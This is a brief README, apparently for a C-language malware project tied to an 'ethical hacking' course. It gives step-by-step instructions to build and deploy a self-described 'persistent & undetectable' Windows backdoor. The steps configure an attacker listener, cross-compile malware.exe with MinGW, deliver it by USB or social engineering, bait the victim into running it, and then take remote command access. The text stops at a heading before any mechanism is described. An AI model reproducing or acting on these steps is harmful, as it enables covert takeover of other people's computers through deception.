Course Credit : https://www.udemy.com/course/build-undetectable-malware-using-c-language-ethical-hacking/
Description : Persistent & Undetectable Malware Backdoor
Requisite : Make sure you have GCC installed in your System
How to Run (Linux) :
-
Open server.c using a text editor [$ nano server.c]
-
Edit and add your own IP Address and random Port no. in the part labelled => set host IP Address and port [EDIT HERE]
-
Open backdoor.c using a text editor [$ nano backdoor.c]
-
Edit and add the same IP Address and Port no. from server.c in the part labelled => set host IP Address and port [EDIT HERE]
-
Compile server.c using GCC [$ gcc server.c -o server]
-
Install MinGW [$ sudo apt-get install mingw-w64]
-
Compile backdoor.c using MinGW to create .exe file [$ i686-w64-mingw32-gcc -o malware.exe backdoor.c -lwsock32 -lwininet]
-
Use USB/Social Engineering to transfer malware.exe to target Windows machine (must be connected within same network)
-
Run compiled output of server.c in your own machine [$ ./server]
-
Bait target to run malware.exe on target Windows machine like a normal .exe application (fully undetectable)
-
Use CMD commands to remotely access the target Windows machine from your own machine
-
Type q to quit the server and exit.
Backdoor Mechanism :